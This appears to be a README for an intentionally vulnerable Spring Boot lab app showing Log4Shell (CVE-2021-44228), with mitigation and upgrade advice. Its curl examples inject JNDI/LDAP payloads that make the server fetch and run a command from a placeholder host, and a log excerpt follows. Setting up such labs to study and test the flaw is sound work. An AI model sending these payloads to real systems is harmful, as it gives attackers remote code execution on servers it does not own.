
이 애플리케이션은 CVE-2021-44228에 취약한 Spring Boot 웹 애플리케이션을 기반으로 합니다.
Log4j 2.14.1을 사용합니다 (spring-boot-starter-log4j2 2.6.1을 통해).

실행:
Import the project in Java IDE as a maven project
Run CVEMainApplication.java as a spring boot app.
For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/efdgt62jjd0002leee=}'
For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addemployee' \
--header 'Content-Type: application/json' \
--data '{
"name": "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"
}'
021-12-12 12:17:00,579 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=]. javax.naming.CommunicationException: your-private-ip:1389 [Root exception is java.net.UnknownHostException: your-private-ip]
Caused by: java.net.UnknownHostException: your-private-ip

참조 : https://logging.apache.org/log4j/2.x/security.html
애플리케이션 빠른 핫픽스 -> 릴리스 >=2.10에서는 시스템 속성 log4j2.formatMsgNoLookups 또는 환경 변수 LOG4J_FORMAT_MSG_NO_LOOKUPS를 true로 설정하여 이 동작을 완화할 수 있습니다. 2.0-beta9 ~ 2.10.0 릴리스의 경우 완화 방법은 classpath에서 JndiLookup 클래스를 제거하는 것입니다: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
애플리케이션에서 log4j 2.15.0으로 업그레이드하고 배포하세요.